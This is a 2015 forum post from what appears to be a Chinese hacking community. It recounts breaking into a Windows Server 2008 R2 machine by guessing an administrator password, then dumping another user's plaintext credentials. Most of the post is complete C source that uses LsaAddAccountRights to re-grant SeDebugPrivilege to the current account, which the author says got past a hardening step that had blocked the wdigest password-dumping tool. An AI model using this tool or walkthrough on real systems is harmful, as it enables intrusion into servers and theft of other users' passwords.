搜索
查看: 636|回复: 0

为指定用户添加Windows特权的代码

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-9-29 14:08:38 | 显示全部楼层 |阅读模式
人品好猜到了08r2某个本地管理员的密码,shell下runas执行getpassword却返回以下错误信息:
  1. Authentication Id:0;6798000

  2. Authentication Package:Negotiate

  3. Primary User:administrator

  4. Authentication Domain:xxx

  5. OpenProcess : (0x00000005) 拒绝访问.

  6. n.a. (wdigest Error)
复制代码


开始以为是UAC问题,执行whoami /all查看管理员组,显示为启用状态,Mandatory Label也是过了UAC的High。
  1. BUILTIN\Administrators                                        Alias            S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者

  2. Mandatory Label\High Mandatory Level              Label           S-1-16-12288 必需的组, 启用于默认, 启用的组
复制代码


之后注意到特权列表中居然没有SeDebugPrivilege,这服务器竟然把默认情况下administrators的Debug特权删掉了。翻了翻存档,找到了这段代码(前人之作,忘记出处是哪里了):
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <ntsecapi.h>
  4. typedef LONG NTSTATUS;
  5. #define NT_SUCCESS(status)((NTSTATUS)(status)>=0)
  6. #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
  7. static void PrintWin32Error(char *message,DWORD dwMessageId)
  8. {
  9.     char *errMsg;
  10.     FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,dwMessageId,MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&errMsg,0,NULL);
  11.     printf("%s: %s",message,errMsg);
  12.     LocalFree(errMsg);
  13.     return;
  14. }
  15. static PVOID GetFromToken(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass)
  16. {
  17.     DWORD needed=0;
  18.     PVOID buf=NULL;
  19.     DWORD error;
  20.     BOOL errflag=FALSE;
  21.     if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,NULL,0,&needed))
  22.     {
  23.         error=GetLastError();
  24.         if(error!=ERROR_INSUFFICIENT_BUFFER)
  25.         {
  26.             PrintWin32Error("GetTokenInformation() failed",error);
  27.             errflag=TRUE;
  28.             goto GetFromToken_exit;
  29.         }
  30.     }
  31.     if(NULL==(buf=calloc(needed,1)))
  32.     {
  33.         fprintf(stderr,"calloc(%u,1) failed\n",needed);
  34.         goto GetFromToken_exit;
  35.     }
  36.     if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,buf,needed,&needed))
  37.     {
  38.         PrintWin32Error("GetTokenInformation() failed",GetLastError());
  39.         errflag=TRUE;
  40.         goto GetFromToken_exit;
  41.     }
  42. GetFromToken_exit:
  43.     if(errflag==TRUE)
  44.     {
  45.         if(buf!=NULL)
  46.         {
  47.             free(buf);
  48.             buf=NULL;
  49.         }
  50.     }
  51.     return(buf);
  52. }
  53. static BOOL AddPrivilege(LSA_HANDLE PolicyHandle,PSID AccountSid,LPWSTR PrivilegeName)
  54. {
  55.     BOOL ret=FALSE;
  56.     LSA_UNICODE_STRING UserRights;
  57.     USHORT StringLength;
  58.     NTSTATUS status;
  59.     if(PrivilegeName==NULL)
  60.     {
  61.         goto AddPrivilege_exit;
  62.     }
  63.     StringLength=wcslen(PrivilegeName);
  64.     UserRights.Buffer=PrivilegeName;
  65.     UserRights.Length=StringLength * sizeof(WCHAR);
  66.     UserRights.MaximumLength=(StringLength + 1) * sizeof(WCHAR);
  67.     status=LsaAddAccountRights(PolicyHandle,AccountSid,&UserRights,1);
  68.     if(status!=STATUS_SUCCESS)
  69.     {
  70.         PrintWin32Error("LsaAddAccountRights() failed",LsaNtStatusToWinError(status));
  71.         goto AddPrivilege_exit;
  72.     }
  73.     ret=TRUE;
  74. AddPrivilege_exit:
  75.     return(ret);
  76. }
  77. static BOOL AddCurrentProcessPrivilege(LPWSTR PrivilegeName)
  78. {
  79.     NTSTATUS status;
  80.     BOOL ret=FALSE;
  81.     LSA_HANDLE PolicyHandle=NULL;
  82.     LSA_OBJECT_ATTRIBUTES ObjectAttributes;
  83.     HANDLE CurrentProcessToken=NULL;
  84.     PTOKEN_USER token_user=NULL;
  85.     ZeroMemory(&ObjectAttributes,sizeof(ObjectAttributes));
  86.     status=LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&PolicyHandle);
  87.     if(status!=STATUS_SUCCESS)
  88.     {
  89.         PrintWin32Error("LsaOpenPolicy() failed",LsaNtStatusToWinError(status));
  90.         goto AddCurrentProcessPrivilege_exit;
  91.     }
  92.     if(FALSE==OpenProcessToken(GetCurrentProcess(),
  93.         TOKEN_QUERY,
  94.         &CurrentProcessToken))
  95.     {
  96.         PrintWin32Error("OpenProcessToken() failed",GetLastError());
  97.         goto AddCurrentProcessPrivilege_exit;
  98.     }
  99.     if(NULL==(token_user=(PTOKEN_USER)GetFromToken(CurrentProcessToken,TokenUser)))
  100.     {
  101.         goto AddCurrentProcessPrivilege_exit;
  102.     }
  103.     if(FALSE==AddPrivilege(PolicyHandle,
  104.         token_user->User.Sid,
  105.         PrivilegeName))
  106.     {
  107.         goto AddCurrentProcessPrivilege_exit;
  108.     }
  109.     ret=TRUE;
  110. AddCurrentProcessPrivilege_exit:
  111.     if(NULL!=token_user)
  112.     {
  113.         free(token_user);
  114.         token_user=NULL;
  115.     }
  116.     if(NULL!=CurrentProcessToken)
  117.     {
  118.         CloseHandle(CurrentProcessToken);
  119.         CurrentProcessToken=NULL;
  120.     }
  121.     if(NULL!=PolicyHandle)
  122.     {
  123.         LsaClose(PolicyHandle);
  124.         PolicyHandle=NULL;
  125.     }
  126.     return(ret);
  127. }
  128. int main()
  129. {
  130.     if(AddCurrentProcessPrivilege(L"SeDebugPrivilege")){printf("ok");}else{printf("err");}
  131. }
复制代码


添加特权之后再次runas执行,成功抓取到另一用户的明文。


Runas 允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。
http://jingyan.baidu.com/article/90895e0f85a64564ec6b0bc1.html


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表